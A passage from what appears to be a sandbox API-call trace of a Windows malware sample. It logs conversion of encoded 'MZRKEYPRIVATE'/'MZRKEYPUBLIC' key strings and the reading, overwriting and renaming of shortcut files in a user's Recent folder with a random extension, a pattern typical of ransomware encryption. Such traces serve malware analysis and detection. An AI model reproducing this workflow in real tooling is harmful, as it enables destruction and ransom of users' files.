aCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.728] GetCurrentThreadId () returned 0xa30 [0084.728] GetCurrentThreadId () returned 0xa30 [0084.728] GetCurrentThreadId () returned 0xa30 [0084.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.729] GetCurrentThreadId () returned 0xa30 [0084.729] GetCurrentThreadId () returned 0xa30 [0084.730] GetCurrentThreadId () returned 0xa30 [0084.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zes2lw09mwyyi-ofeb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.730] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.730] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.730] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x41f [0084.730] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.730] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x41f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x41f, lpOverlapped=0x0) returned 1 [0084.732] CloseHandle (hObject=0x124) returned 1 [0084.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zes2lw09mwyyi-ofeb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.734] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x41f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x41f, lpOverlapped=0x0) returned 1 [0084.736] CloseHandle (hObject=0x124) returned 1 [0084.740] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zes2lw09mwyyi-ofeb.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zes2lw09mwyyi-ofeb.lnk.zv7un")) returned 1 [0084.742] GetCurrentThreadId () returned 0xa30 [0084.742] GetCurrentThreadId () returned 0xa30 [0084.742] GetCurrentThreadId () returned 0xa30 [0084.742] GetCurrentThreadId () returned 0xa30 [0084.742] GetCurrentThreadId () returned 0xa30 [0084.742] GetCurrentThreadId () returned 0xa30 [0084.742] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01de640, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c44e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c44e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x952, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ZJXH.lnk", cAlternateFileName="")) returned 1 [0084.742] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.742] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zjxh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01de640, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c44e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c44e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x952)) returned 1 [0084.743] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zjxh.lnk")) returned 0x20 [0084.743] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk", dwFileAttributes=0x80) returned 1 [0084.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsO